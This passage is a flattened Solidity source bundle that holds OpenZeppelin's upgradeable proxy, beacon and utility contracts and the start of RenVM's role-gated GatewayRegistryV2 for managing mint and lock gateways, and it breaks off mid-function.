effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IBeacon.sol"; import "../Proxy.sol"; import "../ERC1967/ERC1967Upgrade.sol"; /** * @dev This contract implements a proxy that gets the implementation address for each call from a {UpgradeableBeacon}. * * The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't * conflict with the storage layout of the implementation behind the proxy. * * _Available since v3.4._ */ contract BeaconProxy is Proxy, ERC1967Upgrade { /** * @dev Initializes the proxy with `beacon`. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This * will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity * constructor. * * Requirements: * * - `beacon` must be a contract with the interface {IBeacon}. */ constructor(address beacon, bytes memory data) payable { assert(_BEACON_SLOT == bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1)); _upgradeBeaconToAndCall(beacon, data, false); } /** * @dev Returns the current beacon address. */ function _beacon() internal view virtual returns (address) { return _getBeacon(); } /** * @dev Returns the current implementation address of the associated beacon. */ function _implementation() internal view virtual override returns (address) { return IBeacon(_getBeacon()).implementation(); } /** * @dev Changes the proxy to use a new beacon. Deprecated: see {_upgradeBeaconToAndCall}. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. * * Requirements: * * - `beacon` must be a contract. * - The implementation returned by `beacon` must be a contract. */ function _setBeacon(address beacon, bytes memory data) internal virtual { _upgradeBeaconToAndCall(beacon, data, false); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IBeacon.sol"; import "../../access/Ownable.sol"; import "../../utils/Address.sol"; /** * @dev This contract is used in conjunction with one or more instances of {BeaconProxy} to determine their * implementation contract, which is where they will delegate all function calls. * * An owner is able to change the implementation the beacon points to, thus upgrading the proxies that use this beacon. */ contract UpgradeableBeacon is IBeacon, Ownable { address private _implementation; /** * @dev Emitted when the implementation returned by the beacon is changed. */ event Upgraded(address indexed implementation); /** * @dev Sets the address of the initial implementation, and the deployer account as the owner who can upgrade the * beacon. */ constructor(address implementation_) { _setImplementation(implementation_); } /** * @dev Returns the current implementation address. */ function implementation() public view virtual override returns (address) { return _implementation; } /** * @dev Upgrades the beacon to a new implementation. * * Emits an {Upgraded} event. * * Requirements: * * - msg.sender must be the owner of the contract. * - `newImplementation` must be a contract. */ function upgradeTo(address newImplementation) public virtual onlyOwner { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation contract address for this beacon * * Requirements: * * - `newImplementation` must be a contract. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "UpgradeableBeacon: implementation is not a contract"); _implementation = newImplementation; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1967/ERC1967Proxy.sol"; /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. */ contract TransparentUpgradeableProxy is ERC1967Proxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}. */ constructor( address _logic, address admin_, bytes memory _data ) payable ERC1967Proxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _changeAdmin(admin_); } /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. */ modifier ifAdmin() { if (msg.sender == _getAdmin()) { _; } else { _fallback(); } } /** * @dev Returns the current admin. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function admin() external ifAdmin returns (address admin_) { admin_ = _getAdmin(); } /** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */ function changeAdmin(address newAdmin) external virtual ifAdmin { _changeAdmin(newAdmin); } /** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeToAndCall(newImplementation, bytes(""), false); } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeToAndCall(newImplementation, data, true); } /** * @dev Returns the current admin. */ function _admin() internal view virtual returns (address) { return _getAdmin(); } /** * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. */ function _beforeFallback() internal virtual override { require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0 // solhint-disable-next-line pragma solidity ^0.8.0; import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import {AccessControlEnumerableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import {AccessControlUpgradeable} from "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import {StringsUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; import {IMintGateway} from "../Gateways/interfaces/IMintGateway.sol"; import {ILockGateway} from "../Gateways/interfaces/ILockGateway.sol"; import {String} from "../libraries/String.sol"; import {RenAssetFactory} from "./RenAssetFactory.sol"; import {StringSet} from "../libraries/StringSet.sol"; contract GatewayRegistryStateV2 { struct GatewayDetails { address gateway; address token; } StringSet.Set internal mintGatewaySymbols; StringSet.Set internal lockGatewaySymbols; mapping(address => string) internal mintSymbolByToken; mapping(string => GatewayDetails) internal mintGatewayDetailsBySymbol; mapping(address => string) internal lockSymbolByToken; mapping(string => GatewayDetails) internal lockGatewayDetailsBySymbol; address internal _signatureVerifier; uint256 internal _chainId; address internal _transferContract; // Leave a gap so that storage values added in future upgrages don't corrupt // the storage of contracts that inherit from this contract. // Note that StringSet.Set occupies two slots. uint256[39] private __gap; } contract GatewayRegistryGettersV2 is GatewayRegistryStateV2 { using StringSet for StringSet.Set; function getChainId() public view returns (uint256) { return _chainId; } function getSignatureVerifier() public view returns (address) { require(_signatureVerifier != address(0x0), "GatewayRegistry: not initialized"); return _signatureVerifier; } function getTransferContract() external view returns (address) { require(_transferContract != address(0x0), "GatewayRegistry: not initialized"); return _transferContract; } /// @dev To get all the registered Gateway contracts set count to `0`. function getMintGatewaySymbols(uint256 from, uint256 count) external view returns (string[] memory) { return enumerateSet(mintGatewaySymbols, from, count); } /// @dev To get all the registered tokens set count to `0`. function getLockGatewaySymbols(uint256 from, uint256 count) external view returns (string[] memory) { return enumerateSet(lockGatewaySymbols, from, count); } function enumerateSet( StringSet.Set storage set, uint256 from, uint256 count ) internal view returns (string[] memory) { uint256 length = set.length(); if (count == 0 || from + count > length) { count = length - from; } string[] memory gateways = new string[](count); for (uint256 i = 0; i < count; i++) { gateways[i] = set.at(i + from); } return gateways; } /// @notice Returns the Gateway contract for the given RenERC20 token /// address. /// /// @param token The address of the RenERC20 token contract. function getMintGatewayByToken(address token) public view returns (IMintGateway) { return IMintGateway(mintGatewayDetailsBySymbol[mintSymbolByToken[token]].gateway); } /// @notice Deprecated in favour of getMintGatewayByToken. function getGatewayByToken(address token) external view returns (IMintGateway) { return getMintGatewayByToken(token); } /// @notice Returns the Gateway contract for the given RenERC20 token /// symbol. /// /// @param tokenSymbol The symbol of the RenERC20 token contract. function getMintGatewayBySymbol(string calldata tokenSymbol) public view returns (IMintGateway) { return IMintGateway(mintGatewayDetailsBySymbol[tokenSymbol].gateway); } /// @notice Deprecated in favour of getMintGatewayBySymbol. function getGatewayBySymbol(string calldata tokenSymbol) external view returns (IMintGateway) { return getMintGatewayBySymbol(tokenSymbol); } /// @notice Returns the RenERC20 address for the given token symbol. /// /// @param tokenSymbol The symbol of the RenERC20 token contract to /// lookup. function getRenAssetBySymbol(string calldata tokenSymbol) public view returns (IERC20) { return IERC20(mintGatewayDetailsBySymbol[tokenSymbol].token); } /// @notice Deprecated in favour of getRenAssetBySymbol. function getTokenBySymbol(string calldata tokenSymbol) external view returns (IERC20) { return getRenAssetBySymbol(tokenSymbol); } function getLockGatewayByToken(address token_) external view returns (ILockGateway) { return ILockGateway(lockGatewayDetailsBySymbol[lockSymbolByToken[token_]].gateway); } function getLockGatewayBySymbol(string calldata tokenSymbol) external view returns (ILockGateway) { return ILockGateway(lockGatewayDetailsBySymbol[tokenSymbol].gateway); } function getLockAssetBySymbol(string calldata tokenSymbol) external view returns (IERC20) { return IERC20(lockGatewayDetailsBySymbol[tokenSymbol].token); } } /// GatewayRegistry is a mapping from assets to their associated /// RenERC20 and Gateway contracts. contract GatewayRegistryV2 is Initializable, AccessControlEnumerableUpgradeable, RenAssetFactory, GatewayRegistryStateV2, GatewayRegistryGettersV2 { using StringSet for StringSet.Set; string public constant NAME = "GatewayRegistry"; bytes32 public constant CAN_UPDATE_GATEWAYS = keccak256("CAN_UPDATE_GATEWAYS"); bytes32 public constant CAN_ADD_GATEWAYS = keccak256("CAN_ADD_GATEWAYS"); function __GatewayRegistry_init( uint256 chainId_, address signatureVerifier_, address transferContract, address renAssetProxyBeacon_, address mintGatewayProxyBeacon_, address lockGatewayProxyBeacon_, address adminAddress, address[] calldata gatewayDeployers ) external initializer { __AccessControlEnumerable_init(); __RenAssetFactory_init(renAssetProxyBeacon_, mintGatewayProxyBeacon_, lockGatewayProxyBeacon_); _chainId = chainId_; _signatureVerifier = signatureVerifier_; _transferContract = transferContract; AccessControlEnumerableUpgradeable._setupRole(AccessControlUpgradeable.DEFAULT_ADMIN_ROLE, adminAddress); AccessControlEnumerableUpgradeable._setupRole(CAN_UPDATE_GATEWAYS, adminAddress); AccessControlEnumerableUpgradeable._setupRole(CAN_ADD_GATEWAYS, adminAddress); for (uint256 i = 0; i < gatewayDeployers.length; ++i) { _setupRole(CAN_ADD_GATEWAYS, gatewayDeployers[i]); } } /// @dev The symbol is included twice because strings have to be hashed /// first in order to be used as a log index/topic. event LogMintGatewayAdded( string symbol, address indexed token, address indexed gatewayContract, // Indexed versions of previous parameters. string indexed indexedSymbol ); event LogMintGatewayRemoved( string symbol, // Indexed versions of previous parameters. string indexed indexedSymbol ); event LogLockGatewayAdded( string symbol, address indexed token, address indexed gatewayContract, // Indexed versions of previous parameters. string indexed indexedSymbol ); event LogLockGatewayRemoved( string symbol, // Indexed versions of previous parameters. string indexed indexedSymbol ); event LogSignatureVerifierUpdated(address indexed oldSignatureVerifier, address indexed newSignatureVerifier); event LogTransferContractUpdated(address indexed oldTransferContract, address indexed newTransferContract); // MODIFIERS /////////////////////////////////////////////////////////////// modifier onlyValidString(string calldata str_) { require(String.isValidString(str_), "GatewayRegistry: empty or invalid string input"); _; } function checkRoleVerbose( bytes32 role, string memory roleName, address account ) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "GatewayRegistry: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", roleName ) ) ); } } modifier onlyRoleVerbose(bytes32 role, string memory roleName) { checkRoleVerbose(role, roleName, _msgSender()); _; } // GOVERNANCE ////////////////////////////////////////////////////////////// /// @notice Allow the owner to update the signature verifier contract. /// /// @param newSignatureVerifier The new verifier contract address. function updateSignatureVerifier(address newSignatureVerifier) external onlyRoleVerbose(CAN_UPDATE_GATEWAYS, "CAN_UPDATE_GATEWAYS") { require(newSignatureVerifier != address(0x0), "GatewayRegistry: invalid signature verifier"); address oldSignatureVerifier = _signatureVerifier; _signatureVerifier = newSignatureVerifier; emit LogSignatureVerifierUpdated(oldSignatureVerifier, newSignatureVerifier); } /// @notice Allow the owner to update the TransferContract contract. /// /// @param newTransferContract The new TransferContract contract address. function updateTransferContract(address newTransferContract) external onlyRoleVerbose(CAN_UPDATE_GATEWAYS, "CAN_UPDATE_GATEWAYS") { require(newTransferContract != address(0x0), "GatewayRegistry: invalid transfer with log"); address oldTransferContract = _transferContract; _transferContract = newTransferContract; emit LogTransferContractUpdated(oldTransferContract, newTransferContract); } // MINT GATEWAYS /////////////////////////////////////////////////////////// /// @notice Allow the owner to set the Gateway contract for a given /// RenERC20 token contract. /// /// @param symbol A string that identifies the token and gateway pair. /// @param renAsset The address of the RenERC20 token contract. /// @param mintGateway The address of the Gateway contract. function addMintGateway( string calldata symbol, address renAsset, address mintGateway ) public onlyValidString(symbol) onlyRoleVerbose(CAN_ADD_GATEWAYS, "CAN_ADD_GATEWAYS") { if (mintGatewaySymbols.contains(symbol)) { // If there is an existing gateway for the symbol, 